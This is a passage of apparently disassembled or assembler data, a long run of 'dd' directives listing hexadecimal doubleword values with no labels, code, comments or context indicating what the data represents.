4457FE2Bh dd 0D18A4FADh, 0C0CC8CE3h, 35C21E35h, 345B93EDh, 0A5B40AB8h dd 0FD963FC0h, 21165DF7h, 4704594Ah, 831E10C2h, 0F612EA01h dd 0BE992D53h, 8E50BDB6h, 0B541DC7h, 26CB154Bh, 0D24769CCh dd 3A82714Bh, 0AA28AB5Ah, 3F15F6A7h, 6414AE81h, 3F96DE30h dd 1002BE5Ch, 3815CCA4h, 678AB671h, 6E74D82h, 0B126C1D1h dd 0D9D307A2h, 4848807Ah, 0C6C7B42h, 0BE3C6C47h, 40CE0247h dd 5E646530h, 0AC299C5h, 0F069E00Dh, 535EAFA5h, 2A59F47Fh dd 6A1FCA86h, 0D03F7FC7h, 0A5A7799Ch, 0DF1ACD04h, 0B9808123h dd 612FC80h, 0FB9366F4h, 9C34E44Bh, 6CD8F481h, 2CE94A2Bh dd 0E8A41C42h, 0C9F0ABA0h, 0CD258F36h, 0EB8EC556h, 5AAF84Ah dd 6FE7F492h, 54CFE757h, 0BB0717FDh, 14705B87h, 7D450529h dd 3CD7A814h, 859BC458h, 0B0AAEA51h, 5BBBDDA9h, 466B441Fh dd 0FB77F874h, 5C44454Fh, 0B699AFC5h, 0B426A8C0h, 2D4A7F23h dd 0C4E0EE74h, 886EBCE2h, 8499863Fh, 58AD8C57h, 9DB61E81h dd 65228D7Bh, 0A83187A9h, 2D82B90Eh, 0BF24A515h, 0E7130112h dd 0BBF51E66h, 3AB69E92h, 9B7D35CDh, 9DC53FB3h, 0FA05D71Ch dd 0A1C413E5h, 5901B7E6h, 41DAD96Ah, 6AB35D12h, 0EED30579h dd 0BFE52F73h, 0BE24F389h, 0C3929434h, 0EC636F34h, 43E7049h dd 0D5D0F295h, 8E9C9360h, 495961EFh, 0FEDC7952h, 54521514h dd 0D2808070h, 0EFDA108Dh, 58B19283h, 38A66C56h, 0EED2BD8Dh dd 0A9C14782h, 52F716B8h, 6B8B7F3Ah, 9B775B1h, 0AE2C645Ch dd 13484A56h, 61172370h, 7A2584h, 85B07D84h, 0B1C15DA6h dd 77F2BAD9h, 460A988Ah, 89EC7660h, 913C8349h, 5447B6F7h dd 82C3838Ah, 0E57A7883h, 0CD71EDFAh, 1B238F50h, 99E135A0h dd 0EDC4022Ah, 0EFF05BCEh, 8934903Fh, 83203CA7h, 397FD47Ah dd 0E8FC387Fh, 0B519AE86h, 0CFC5C6EDh, 508C42DFh, 0B5B14672h dd 0AB03261Ch, 5981B074h, 7EC91E2Ah, 0C395656h, 8BE022E6h dd 8251CAB6h, 0C1BBD3B4h, 3CD669EBh, 2680D57Eh, 16315204h dd 97339D08h, 9066E041h, 4E31820Ah, 0A9745D5Eh, 67430B2Ah dd 1E55CD19h, 64795470h, 9F387CB9h, 0F9EF04CEh, 0C974890Bh dd 0F5DA35F7h, 0E213F160h, 2558012h, 0E69C0960h, 78E2756Ah dd 9494916Ah, 0B11D695Ch, 2D7BACE0h, 0AED5F43Fh, 2160A1BBh dd 9E5CE49Eh, 0B91B3484h, 0A1B7E450h, 81D08A7Bh, 6A0481A9h dd 35192CBEh, 1AF1CB22h, 7B4C15E9h, 0A3D2D14Ch, 62B3DF06h dd 0D86A51E7h, 81257844h, 611E2F4Ah, 2193007Dh, 3330EAF6h dd 2CDCDB59h, 0E4C90F35h, 2FD2955Bh, 0ACCBC765h, 0D041EED4h dd 5ADFD559h, 5D82765Fh, 2B8DBB27h, 0C65CA2F8h, 63314C99h dd 3BA69ACFh, 9B8E96B6h, 78856B8Bh, 310086Ah, 4E540190h dd 1C254846h, 30CA2372h, 71B78FFCh, 2D0D2850h, 0E6C4F4D2h dd 948C5506h, 16ACC8D1h, 33D2E49Bh, 14454AF2h, 0AB77ECCEh dd 755E6C2Fh, 0CD459506h, 76EBBB2Ah, 0AD30966h, 0B295566Fh dd 7B015428h, 67AC41Dh, 0CFDB36BAh, 0CA748B42h, 814545E9h dd 0B2D749C7h, 8DAE1A7Eh, 0E4352788h, 0FA574570h, 72F1E225h dd 3D54BEF5h, 0FE77512Bh, 5B53D210h, 0E55A91DDh, 4B6ED128h dd 76C52620h, 0A4E19BF3h, 0C612EA17h, 6625148Eh, 16DD714Dh dd 9DE59F60h, 18A1DF04h, 3BB3639Dh, 0F6D2F608h, 5FD2743Ah dd 4F4E2BE6h, 4A48E209h, 5D0614E7h, 9D6CA88Bh, 448477B4h dd 0CF56F70Bh, 0F19F1468h, 0BD6583B6h, 3605548Dh, 5F262AF3h dd 0B35A29D9h, 0EFA5F7CEh, 11CC7CB2h, 0AFFA9BCAh, 8A3EBEC2h dd 0D4F7186Bh, 89FCBF8Bh, 82A34556h, 0FC7107B0h, 0FBA15628h dd 92BD9875h, 0D6AF9A92h, 0C427013Ch, 44238B7Fh, 5D5D14A8h dd 8839CD75h, 4472168Eh, 72CA3FFAh, 3CBC6DCAh, 8C3922E5h dd 51563F45h, 9CC41F17h, 8F125F92h, 0CCC13A2Fh, 6F602499h dd 1ED1D9E9h, 8C7DD6DCh, 7E99D60Fh, 0CC81C55Ah, 0C31360E9h dd 3D7AB6A3h, 0B8EB19BAh, 27160349h, 0C53A1FBDh, 0E292EECCh dd 0E27C7FE7h, 45CD0076h, 0A05432C2h, 41B5F2B8h, 0A9D45B3Dh dd 84C016AFh, 68EF285Fh, 0E59C96F4h, 0E2367FCCh, 2FD76E29h dd 0C658900Dh, 225419F9h, 5A2F3A00h, 8B59FD70h, 831FF6D8h dd 445ED42Bh, 90D59FDAh, 0FDCE95E9h, 0ED806302h, 263E4436h dd 0AEEE4271h, 0A2F2E7Ch, 0FA869D9Fh, 53365FC0h, 95BC18D5h dd 9DAC5FC2h, 84EDDB52h, 0DF25AAh, 5FAE71D3h, 0EC0A3373h dd 0D8AA605Eh, 33BBEBE8h, 0E339AE81h, 7EF08355h, 104CEAAh dd 6F52928Ch, 931796Fh, 89D54708h, 3FD97705h, 0CDDAC638h dd 1C550939h, 125B161Ah, 0D73C6EC2h, 2DD53B81h, 4F97FE56h dd 0D094C471h, 1A1FB12Dh, 56153BAh, 3ECA01EEh, 0BE35DB04h dd 0D6E88B40h, 5798ABB9h, 6EC6B4E6h, 0B6E59E10h, 0ABAAD616h dd 64B5C618h, 306CC74Bh, 610919DFh, 925F8D1Fh, 0CF4D0B6Fh dd 938087A4h, 46C1F763h, 0B1B1848h, 0E298FD79h, 7015CCCFh dd 81319297h, 0F244AE1h, 0B0AF330Ah, 0C436DA91h, 0D0E88729h dd 5B57B5EBh, 0EAA5510Dh, 5F965CC1h, 307F692Dh, 0F1C0EDC3h dd 54DE0890h, 3504375h, 0F446341Ah, 7F9CAE06h, 0DD2A4D3Bh dd 8525714Dh, 0E8DB5952h, 0C29252ABh, 0E92A5923h, 726D5E2Dh dd 1F497E1Eh, 0C53F5BDFh, 572BC0F5h, 0C82F6B0Ch, 40129267h dd 32AD7DFEh, 0C868DB4Ch, 0C8A7AC53h, 2F8BB03Ah, 157FE47Ah dd 0C33954CFh, 9510A116h, 4DE79370h, 0A05ACC5Ah, 555E3FA1h dd 0C9D4EEh, 0B4E96207h, 0D2E49431h, 0B15C2B65h, 8ED39171h dd 4BC7D210h, 0DB96C440h, 500752E8h, 0FF2EE7D1h, 0A5AEC24Ch dd 4B36516Dh, 27D8355Ah, 48598B17h, 0BF7A173Dh, 0EFF673E0h dd 0D73788C5h, 8BABB70Ch, 3A4025C4h, 0CB33199Dh, 0D1D30776h dd 0D75318B5h, 0E1610FEAh, 89518B66h, 0B17D3D85h, 4031C9E9h dd 0B8FAA5Ah, 3D475D41h, 12875969h, 0E4387833h, 0BFFDBE5Fh dd 0E81D0A0Bh, 0A0DDE1F0h, 0E35BE27Bh, 84548005h, 23413092h dd 35121582h, 7578A771h, 0F3DC35F9h, 272965A2h, 6F556BAEh dd 4CFFD206h, 0D7A2BB82h, 35FFC866h, 0AAD59900h, 0EE13AFCCh dd 55354506h, 763E473Bh, 0B54EE1DAh, 51ACF439h, 0C0B04797h dd 687F3CCh, 170DC0E3h, 6D4520ACh, 301CCBA6h, 0C7CABC7Fh dd 1A526D22h, 0A580392h, 30201DC5h, 3D853E78h, 94684D94h dd 0CA201334h, 0FF6FE8Bh, 1B5266A6h, 23E82C69h, 3D6895h dd 84DE3425h, 602E1796h, 0A4765721h, 0A86CE4F6h, 2309A202h dd 7DA5555Eh, 71D18A4Fh, 0FADBC63Ah, 986B6213h, 8B2FB077h dd 4325887Ch, 0BCDA8D07h, 7C532300h, 0B6C3D99Dh, 0E5763E8Eh dd 0C870866Dh, 0B8E2619Dh, 128EAAF6h, 84ED411Eh, 0A12683FFh dd 0FE1FCBECh, 249A25C6h, 38B18A2Ch, 0F0E916Bh, 0BAE9DB2h dd 6D89AD1Eh, 9D3C90E9h dd 0EE4C173Bh, 218938E7h, 0D53791C1h, 0FF37BB2Dh, 2A594D8Ah dd 58B9117Eh, 405C7DB1h, 4516EEC3h, 0D1E8227Eh, 1675E6DDh dd 73E3C5CEh, 5EBE8354h, 81043F43h, 803BF079h, 11E425B3h dd 71E4BB23h, 8A01114Ah, 0E96DD56Fh, 0A176FEB2h, 5D226D2Dh dd 8F1A06BAh, 6140241Dh, 4588EF5h, 1A8714AFh, 2A4BA2B5h dd 0DB24355Eh, 254442D9h, 0CB6E6CAEh, 0E561FF1Ch, 94D688AFh dd 1B963710h, 0E58D5652h, 0A4BB5338h, 3432369Fh, 1EE9AB3Dh dd 89FBAFC3h, 0E4BAF4B8h, 0C90DF0ABh, 9E0533EBh, 7F29DA6Bh dd 591C360Dh, 35F42F7Fh, 0DBAF3B6Eh, 9771B780h, 3BE33FCAh dd 4B8844EEh, 2424E6ECh, 4B5929A5h, 309AE5AFh, 1703F020h dd 4BD9A3D2h, 62F3F4A2h, 807055A7h, 9A3DA458h, 14875E47h dd 0F8D7E601h, 384FB2ECh, 36B4AD31h, 21351847h, 3403D5FFh dd 0DC472F16h, 9B328F47h, 513D18D1h, 16FC14A6h, 176F8409h dd 92E8D4C3h, 470C8552h, 0FD8C518Bh, 77C349FCh, 1C12114Fh dd 0ACD3606Eh, 0B838D1EDh, 2B98494Ah, 725422F9h, 0A5CE07EEh dd 9192490h, 4B0D0DD9h, 4558124Bh, 0E42EEB78h, 942623ABh dd 0B1118D91h, 88A3BBBAh, 3EB30A57h, 5660CB21h, 35FDDA86h dd 0FBB1DF7Ah, 651433BFh, 0D4702DD3h, 65B4D601h, 0F610FB80h dd 0E8EEFABCh, 51ECEF34h, 0C6415077h, 7A7E5B33h, 97A06168h dd 0E10C3C6h, 18875AB7h, 73057FBBh, 9F9D3369h, 0EA864303h dd 952CBDEEh, 5819E7D5h, 1E8BB372h, 1351335Dh, 0E81BC85Dh dd 0FA9C571Ch, 501C9685h, 54E87778h, 4992A170h, 425A0EA3h dd 0AC390396h, 0EC9864F3h, 98A60E0Ah, 55B9F0C4h, 0FC5A3A3Bh dd 0CE898D39h, 0CF7DEADFh, 0FFB0439h, 7BC3DA53h, 2DECBBB6h dd 0AAE71E7Eh, 0B1A1953Bh, 22C0423Fh, 3FC1D5Ah, 677C6C38h dd 8F584212h, 908B43C8h, 566BB595h, 0B79D3BE7h, 9ED4921Bh dd 2A6DF616h, 6CCCCEAh, 0B809EE9Eh, 5BBFD86Eh, 0C93C53F2h dd 37FB3127h, 6B9B495Fh, 0B2FF820Dh, 8CE7E778h, 0C835320Eh dd 0F68E958Eh, 0BF6BD42Fh, 14F1590h, 3439915Ah, 2FB43AF5h dd 3212D264h, 33BB5016h, 0DB15BB6Dh, 0AD33B687h, 0D8934428h dd 69048F2Bh, 76FA2D85h, 3BA8877Fh, 0D21EEF30h, 0F47991AAh dd 3C87AD56h, 283EC8DCh, 81FA2E99h, 8848011Ah, 0ED22DAD3h dd 804B76B6h, 0C04CD965h, 1E0590F3h, 137CBB07h, 70488E46h dd 319F32C5h, 434AC3D7h, 421A7B5Bh, 12C169B0h, 0AB74BEE0h dd 0E3E579ECh, 0AFFD0B27h, 8CE21AEDh, 0EC5B6E00h, 0BF708EADh dd 0FE799CAFh, 4BF5BC6Dh, 3A3AB01Bh, 804FEF3Bh, 0A01FA19Ch dd 0D30A1715h, 4A35894Fh, 724FB595h, 9B3CE694h, 9B6F74C2h dd 0AC533CB7h, 182F8071h, 0E3AB980Bh, 0F1B62236h, 7C5A7B25h dd 40FC2BA5h, 6E7FC2F8h, 0CE473BF9h, 512DED3Fh, 0D50F503Bh dd 3C9C7A6h, 0DAFB9B5Bh, 0D20CAA45h, 0D1370371h, 0BF41A817h dd 0E85C5AE1h, 8123275Eh, 0A21DE17h, 0F648E5DEh, 482973D5h dd 8A4BCCF0h, 58379707h, 51BC5631h, 845B3AC6h, 9DFCDA2Eh dd 0D620F695h, 0AB41149Bh, 29420B6Ah, 0EFC38736h, 29D244Ah dd 0A57FF859h, 0D77CF100h, 0B002BB5Bh, 0D51B6934h, 8789257Dh dd 0A45E2DBFh, 2FFE0B4h, 4D45E9BDh, 0A9C2F30Eh, 7F8A4C7Ah dd 0ECE4E648h, 3497A156h, 4052AE7Ah, 0C55DFF7Ah, 0CF822644h dd 2858766Fh, 91F26DB9h, 0BC6EAF08h, 4A8232BEh, 0CFF279ADh dd 0CBAEB1F9h, 0E498EF94h, 69E5DB29h, 83483E10h, 0FA961958h dd 0FE468C8Fh, 0E4BF64E1h, 0C808C0AAh, 18F48D21h, 11CF133Ch dd 0E08B107Ch, 97B5E602h, 0DC5BADC1h, 7CF5AA7Dh, 60F7B99Fh dd 0A29102ACh, 7EE07144h, 7B7F7D82h, 0A540A6C8h, 0D0D7C10Bh dd 0E28548AEh, 8AE06E43h, 92C19357h, 14F1163Ch, 9FC0F86Ah dd 7B0A549Eh, 6DDE3E7Ch, 0B73B402Fh, 0FB430726h, 819C6B7Dh dd 9DB1E751h, 0F632B965h, 0E5501FB2h, 546ABD94h, 5F89FA09h dd 0C4E6BAFBh, 6CD0EEFDh, 0CBE21FB4h, 644720F3h, 5A9122C9h dd 52C6DD0Ah, 32F053FAh, 520E81C6h, 0D521251Eh, 747A60C4h dd 265D3F2Bh, 71C9A31Ch, 4EB9B41Fh, 973365CAh, 0F4533770h dd 0F4A608D8h, 0BE98A41Ch, 42EB9CABh, 0BA75E264h, 37FE977Ah dd 0C3D15BA2h, 0A7A6D006h, 0EA8B03Ch, 0A88EA170h, 264E566Ch dd 395C912Dh, 0C5FEA685h, 6FA4A004h, 0E2873C4Fh, 797A802Ch dd 266F5FB1h, 0B789A824h, 239355F9h, 0EAC1D1C1h, 0EC8F3595h dd 13E231A9h, 7D26744Dh, 0AF660851h, 9F2ACB3Ch, 0A11B62CDh dd 777EA3Ah, 4DD00B22h, 0D8BDCF25h, 0E275DCBFh, 0CF2B0480h dd 2D966F25h, 4139FEADh, 0CA2701B3h, 5160D8Bh, 0FCDC4290h dd 41E491DCh, 7184C7EEh, 86EF74F4h, 0AF6BB0B6h, 93E1D950h dd 0D772D6F2h, 92F90A2Ah, 635EF5Ch, 0F6D16EC7h, 6B2B387h dd 0FC28B039h, 2F06D672h, 5C8844CBh, 0E0936A9Eh, 3F7A103Ch dd 9BBC1A9Bh, 0E078E489h, 0F9617878h, 35D09A92h, 0A6493194h dd 46E36D34h, 635A2F2Eh, 504A913Eh, 4D3F2037h, 60F8B3B9h dd 0D0F07503h, 3F04DD5Ah, 44C55AFh, 0C61D03A7h, 48AE111Ch dd 0B0BCD6FCh, 0C84A2D37h, 4B26C79Ch, 0D923A27Bh, 0DD3CCAA4h dd 2B88FC6h, 0E3400281h, 2A89539Eh, 0C209CCEh, 98D7C83Eh dd 0DBFDC357h, 0D81200B0h, 0D007D8B3h, 8DCAAEB5h, 0E57F7AE1h dd 132284A1h, 0A03FC926h, 43242E07h, 7BEBD526h, 0B59287D5h dd 5CD0E782h, 19A86463h, 0FC0C49Dh, 0ECC9A9D0h, 3673BEA2h dd 784748DFh, 56EF3859h, 99042474h, 0FF9CAE2Dh, 79A27445h dd 0FB50A242h, 0A130C537h, 60157FADh, 4F85CF9Ah, 7E7A858Ch dd 0B1968EAEh, 0C84773EEh, 0CD154CE5h, 9C9E8DE7h, 9876E9FFh dd 1887C217h, 7BE11060h, 0CA3CB01Bh, 0A693F601h, 8519F837h dd 26CE7C2h, 579B37E4h, 1BE8109Dh, 1ED0E523h, 0A60EF044h dd 69B712B0h, 0D09FEDD1h, 38CF4E5Ch, 414192ACh, 123F678h dd 72F6721Bh, 29FB4E4h, 65EDD3B7h, 0E96FF5C9h, 196CD9E9h dd 585F6F28h, 12407A84h, 1359AFEEh, 8E761411h, 9DDA1AB5h dd 754B09CDh, 7B78BF2Bh, 90FE717Bh, 61831E15h, 6691E33Fh dd 2BD446BAh, 0AFDDCADh, 2C71B72Ch, 38750AF2h, 0F3F102C2h dd 880E42DCh, 1ACD598Eh, 356EC396h, 0E026D8BEh, 24485347h dd 33D228B5h, 7E83C47Ch, 7E3CFF4Ah, 0FD17CE07h, 0CC36887Bh dd 7B807D47h, 56CFC2B7h, 4E1A3B8Ch, 59BB0686h, 490D82B7h dd 3DC57E43h, 262A00E8h, 2902740Fh, 452DA272h, 0AB6CB060h dd 0DD0743B0h, 7801E1F1h, 0F22BF51Ah, 2769B697h, 2D54245h dd 0AF5E001Ah, 0A6EF33B4h, 0CA931B7Eh, 0F44454E2h, 322ED213h dd 1BA6B5CEh, 7F6D6DFAh, 8030A3BDh, 9AD38DFBh, 75B74D8Bh dd 39A9F33h, 3CFABFE9h, 0FAC8B37Ch, 83668E2Dh, 9EA823D2h dd 0DEF4BB36h, 0AD829238h, 2D3DF508h, 0C309EB71h, 7971B781h dd 105B2ACAh, 2A518627h, 709D5B03h, 8A406BDCh, 9D1FB2D4h dd 31794512h, 0F7038812h, 24536D1h, 0F8E306EBh, 0DCBCD145h dd 0C6DF7D7Bh, 0FECB26C6h, 0EAA90BF3h, 2272C8ADh, 30313932h dd 0BE44FC9h, 840B395Bh, 9308884Fh, 4FDCE0D6h, 53F5378Ah dd 5862829Bh, 0ABE91212h, 0DF6A890Bh, 91B23016h, 0FC6CE1F7h dd 1575612Ah, 9A2D9FAEh, 0F2FEBF68h, 55915305h, 4A762FCEh dd 7B7BC84Dh, 87D720BBh, 0A5F56C09h, 662B2559h, 51CF88D2h dd 70D9325Fh, 9A5317A0h, 6496AEEBh, 211E889Ch, 656E3414h dd 0D4DA59C3h, 8CAD7017h dd 0ECCE9B83h, 0F0451D34h, 0AE237613h, 0DFF0AB8Fh, 0D8E53B0Fh dd 0C21534CBh, 0ED154869h, 95F1F7A3h, 6737E048h, 6A6DC993h dd 1A9873FBh, 0D543595h, 0B5C5C17h, 0E365123Dh, 32E103BAh dd 0CFC8A888h, 267F5952h, 77E6AB29h, 5028E57Eh, 4E85ED6Bh dd 0CCB99CD8h, 0DBCA800Bh, 0BF9C143Ch, 0D48D9F2Dh, 0B7ED7FD6h dd 988BBA8Fh, 36258CFEh, 4B02B23h, 2CF76E27h, 6B4B10EBh dd 58785AFDh, 0B8FF3AC9h, 829AB91Eh, 4EBBC1B2h, 0E6373A75h dd 95822994h, 0B55B8FF9h, 0F3E214ACh, 0D14E0A5Fh, 87445053h dd 0A853EE32h, 51780315h, 93873D44h, 4A247011h, 6467F19Ah dd 1C4E7525h, 0D1911743h, 33AA8422h, 722E2BC6h, 0F4D64BB3h dd 0E0B1D404h, 97899332h, 78F4801h, 0E443B519h, 465DC94Eh dd 9BBF3370h, 0D5B3569Fh, 1C06912Ah, 0E212177Bh, 0EAC05135h dd 8FEF6440h, 382A4D7Fh, 242CAF59h, 285E32E0h, 6584DC52h dd 0F1BD735Eh, 49543317h, 0A1E63E0h, 0F234FC10h, 0EDC5EED7h dd 0AE320A0Fh, 7FE49BA6h, 0F56EEF26h, 87064E0h, 0E651BADEh dd 0A579AEB5h, 0B0E53FBAh, 684AD46h, 629905B4h, 60A9606Eh dd 0A90D024h, 0CD1A4D79h, 5834E3B8h, 75448EB1h, 2B3F81D4h dd 7F1187C3h, 1661E76Dh, 0B3CD4B83h, 8A1EE278h, 29CAC4F6h dd 0CDA27970h, 0F67EEC04h, 0F972D118h, 88D5F65Ch, 0ED45736Ah dd 573A00CDh, 3090376Ah, 0C8291824h, 0B67426C7h, 7A2810ABh dd 3BDEDE45h, 3E6773EBh, 4F4926A9h, 38CBFAA2h, 2A8224ABh dd 0C22906Bh, 0D0335638h, 15E5527Fh, 160618F3h, 0E02E958Ch dd 0C79E95Dh, 4756B296h, 63EF6831h, 0E5BB9642h, 32D293B6h dd 0F379A815h, 0A14F86C4h, 163B953Ah, 13EC89E6h, 0B19E6174h dd 5A0A381Dh, 0A2D9DA8Eh, 5847FB0Fh, 0C99C4CFAh, 8765530Eh dd 6F5E46B4h, 0DA81B871h, 43E193C4h, 718E1A98h, 602BBE38h dd 0A0B2F9BCh, 5E6C90Ch, 8D189735h, 9ADFC3Ah, 0D6A6C352h dd 0F389AE46h, 0A170080Ah, 0EABB0CB8h, 0D363A01Fh, 0DF330506h dd 98EC9BD5h, 0FE647533h, 0BE1E193Ch, 61413C7Bh, 5E80BF43h dd 4DABD305h, 254ABC0Eh, 25B244C8h, 202C5CA0h, 9E01F6DAh dd 0CEE8F30Dh, 9F6DBA58h, 0E4403625h, 0B4682363h, 27E35E70h dd 92A5E8C3h, 740206FAh, 0D6DB48F8h, 0B4294098h, 0D7625993h dd 47491294h, 4059D0F6h, 14FFEE7Ah, 0D8485272h, 91CB67Dh dd 0E7AD6517h, 0EB694850h, 0A42C60FBh, 0FF89E166h, 1253CB68h dd 8D4CD891h, 9E253181h, 0D578BA7Eh, 0DD953D82h, 0DFD10331h dd 2DFBD792h, 635AE663h, 83027A50h, 41894996h, 3EE964C4h dd 57A03079h, 0FC1D1EB5h, 41C0C542h, 8BD49428h, 98FEFA42h dd 6DFD0B7h, 0A0AC23F0h, 6D45A813h, 4F17EF1Eh, 0E9F1ECDh dd 0F9499CC1h, 45AD140h, 77379D74h, 27C010B6h, 0B1C40CFEh dd 0F138E3BBh, 0AEBB7BABh, 576BA3B2h, 1F6BE4F0h, 0BA0570F9h dd 54EE711Ch, 9A8B076Ch, 20880857h, 1ECA43Ch, 3207BF67h dd 0C66C06E8h, 0C7006691h, 0BB39E388h, 0EC6989DBh, 0FC83D7B2h dd 65E4DC00h, 0E395F00Bh, 5235F362h, 0B33509D8h, 554E901Ah dd 0E0B67645h, 22A5BFC4h, 7C7C159Bh, 0CFDCB044h, 0CCC1688Dh dd 0E3F2E915h, 9906CFCAh, 0FB1AFCC2h, 0C3616BCAh, 6B45B16h dd 0C0282679h, 0BC51CD09h, 0DFADC2BDh, 0E8C3D145h, 0B8F13C3Eh dd 0B29E7FF1h, 88F8EE68h, 0FFF37ABFh, 0B6BB90B0h, 6317CDA3h dd 0B6ACA834h, 0A24D3DD6h, 68917352h, 690E3BAFh, 50BF7351h dd 555F4A57h, 77AC8B94h, 3057C2D7h, 38FBCCABh, 6463DC81h dd 9F6681A2h, 1069DD17h, 0E629D9CCh, 92129F5Dh, 0F54B305Fh dd 11DE4D82h, 3F74C54Eh, 23BE11B5h, 0C0A4B6D6h, 71697A84h dd 9B29571Fh, 0F03C6626h, 25B6E3AFh, 0EE9A3DCAh, 25C58ED0h dd 858AB9DFh, 0C386840Fh, 0BDA8BE8Ch, 5D92E22Ah, 0FC676FD9h dd 555CF264h, 936FC4B8h, 4C46CB73h, 0C04AEB68h, 915DFC82h dd 0D87B0E3Ah, 8B6D15B6h, 0B9526617h, 0CB1E801Bh, 0A482D379h dd 49D7C4F0h, 7E69D4CCh, 59407D00h, 37203A25h, 504792Ch dd 0BF89E8D9h, 8CC654F4h, 96D22793h, 4C4F5C23h, 347599Ah dd 457F213h, 5D4BBF43h, 17F80710h, 0BF8D38C2h, 0A205B86Ah dd 0D1B7420Eh, 7CE3FFD1h, 51B5CEF8h, 0ACAEBA0Fh, 0EA322962h dd 47D6072h, 0BB2B60FEh, 0DCEC77E4h, 1180C372h, 3362BB4h dd 0FC50102Eh, 7460672Eh, 73008B35h, 7CD11C37h, 7F1A7397h dd 0E06B13C2h, 1A74F481h, 0B5824308h, 0F5106F28h, 4B0D1B65h dd 1FC1627h, 260D9FEFh, 7D035A4Eh, 0FB013D3Fh, 434E3DDBh dd 63261C83h, 74EFFD1Fh, 0B14BA6F0h, 5B487F2Bh, 74AE2A4Eh dd 0B8948F63h, 34C7334Eh, 8DBF72h, 35265F64h, 0A2F7F763h dd 1F402A4Ch, 204063B5h, 898EAEE2h, 14CD4D60h, 0A3183B4Ch dd 1C604CAh, 0A6AB9B66h, 3F19600Ah, 0D67D3CE4h, 0E7EBE8C3h dd 0B03B2170h, 7D403549h, 6D34765Ah, 0E5A65725h, 813BFD1Fh dd 9123B3D8h, 9BD70567h, 0B76F1283h, 8ED7443h, 1D6C4244h dd 280AF6CEh, 2670D1DFh, 0C45E662h, 8D8E3D80h, 0B50B4023h dd 386E9B87h, 14166492h, 0D6748D7Bh, 2A435E3Ah, 20657474h dd 0A2F733E5h, 169CF697h, 0B9B43A73h, 7516E2FAh, 1FB95A3Ch dd 2D0B9EC4h, 6E9E2C8Fh, 0C50A07ADh, 5D0E9D19h, 15DB09Ch dd 0B88B26A7h, 0A135AB7Bh, 704BEF13h, 1E1D98EAh, 3EA20D3Eh dd 0B19B847Fh, 5C05A719h, 279B8EE0h, 0ED70D3A3h, 8AAC7DB0h dd 8B9D6945h, 1D0A6926h, 4DC9043h, 628085C0h, 62BF4AA4h dd 0CED3A401h, 144DC238h, 53CCD7C1h, 53E80FA5h, 0F8FE04E3h dd 0BD0AC29Bh, 421755AAh, 0E2E17443h, 69E73CEBh, 42A4565Eh dd 64C3CC4Dh, 764934C7h, 21C300E2h, 0E0167A1h, 0D1C19840h dd 531C195Dh, 0DC188E47h, 195C1550h, 9B6570ACh, 8B1F059Dh dd 973E9AFAh, 0E76F3928h, 0FEA939F9h, 2561E61h, 0D029C0CCh dd 0A35E31C6h, 6F646FD9h, 0B6748F6Fh, 0B46652C2h, 89DD9266h dd 27B8DAB6h, 0F8CF75FCh, 4141741Ch, 0F7162B19h, 0E40D71B3h dd 3B49AB83h, 0A5814586h, 51EBD6F2h, 60CE461h, 76508F12h dd 179E5309h, 42A697A5h, 24270E64h, 34935425h, 3E8512Ah dd 6B96C491h, 6D6B680Ch, 0BE039E56h, 0C9C8D548h, 780C3F39h dd 3CCFFE19h, 881A1662h, 40918BDDh, 95CD15ADh, 0B5E5727Eh dd 2009E0E1h, 0DBB0BFEh, 2418EFCBh, 8DF9E57Dh, 0AE16EB4Dh dd 44157F07h, 0EB87F6C5h, 6A7312DFh, 2AB831BFh, 0BA3D6CDh dd 0D328D45Fh, 27F1F4B3h, 0B0B4E962h, 59633D9Eh, 0CE662B7Eh dd 0BD8CD8Ah, 0B941CD4Ah, 0C413E7E2h, 0D5834C89h, 7B5B6F8h dd 1C7813F7h, 23E40420h, 1DD79282h, 504679D2h, 4BD890Ch dd 62AC59C0h, 0DAA26597h, 804C2A35h, 0FBD06C3Ah, 1217BD55h dd 0A4F462B3h, 0C0CB7D2Fh, 807FB3Ah, 0F332C1F5h, 7C82640Ch dd 0A34BBE35h, 8E9F8918h, 8F207050h, 0CD0ADD9Ch, 289EC47Ch dd 4435AC76h, 976B1F00h, 0A6DA8054h, 0D17BE4Eh, 6A17170Fh dd 3EEE7C76h, 0D179649Ah, 242F29Bh, 35ED1180h, 0ECD1A682h dd 3C03039Bh, 0AC2233D2h, 66AEB88Ch, 901584AFh, 4CC99A9Dh dd 957A18E1h, 0C7E1F9A2h, 0A59EE2FEh, 1D0A2ADAh, 18438BE1h dd 0D7CF6C5Ch, 0AB9FBEEDh, 3B6F8306h, 0AB52D45Ah, 0AE3F51BDh dd 3DE42BFDh, 8BD67056h, 4D75CD12h, 0AAE23A9Bh, 0F6D4BE1Dh dd 2253F599h, 5578B631h, 8DC79E71h, 775DB49Ah, 0DD3669FAh dd 4E506D64h, 313EB134h dd 590032D3h, 0C4AD0C3Eh, 0EC356D4Bh, 74A8913h, 0E9C3B14Ah dd 4E1284D2h, 626FCE57h, 9032E52Ch, 1A3589EEh, 0CF40D0CFh dd 0BF07A095h, 5E83C501h, 455185E4h, 0CBE72869h, 2FB7AB22h dd 5512F6Eh, 3AEDD092h, 55C2782Dh, 63CFEF70h, 0EE0368B8h dd 0F11149A0h, 0ADF8A434h, 71C00AE5h, 8F278802h, 0F326176Eh dd 0FB4BF799h, 9DCD6D9Dh, 0CEE66BA7h, 0F9D3CA42h, 0A339D13Fh dd 0A54792F9h, 0D5DA1B94h, 86D01B6Fh, 64F1F520h, 0CA4A97D8h dd 0B210A6B9h, 0B4CA29ACh, 0CFF6AC6Ah, 57A5CF63h, 31E5D20h dd 0E7C1C682h, 8A50C62Ch, 9FB0374Ch, 0CF115C1Ah, 18C876E5h dd 0C63332B8h, 394C6A51h, 87D73F66h, 687E9A01h, 7D81AF97h dd 7B166E7Dh, 0B9B15358h, 16602321h, 0EA18CC6h, 1E5EC16Dh dd 7305C1E9h, 0AE866193h, 2C3D4D22h, 0F0B236E2h, 0A4C14098h dd 78DE91F7h, 610DEC00h, 0B0FDCFC8h, 0AD605534h, 824DAEE0h dd 20512EB0h, 6989D155h, 2727CDDBh, 4FBB5C2Fh, 0C4A2FF26h dd 134F45F9h, 2A013A50h, 1EC4EBA3h, 54A859DCh, 138C3FF7h dd 82F0BC2Bh, 4AC7D98Fh, 4867634h, 592F441Bh, 549846D9h dd 0E735717Eh, 0C2F8E8A0h, 0B55C89BCh, 7E3E97D8h, 32692F1Eh dd 3A6F75DFh, 552B7329h, 1B967689h, 98E7D293h, 1058B63Dh dd 259B612Bh, 0BC6611F5h, 0FCC6F0F0h, 83BD1AC0h, 70E19807h dd 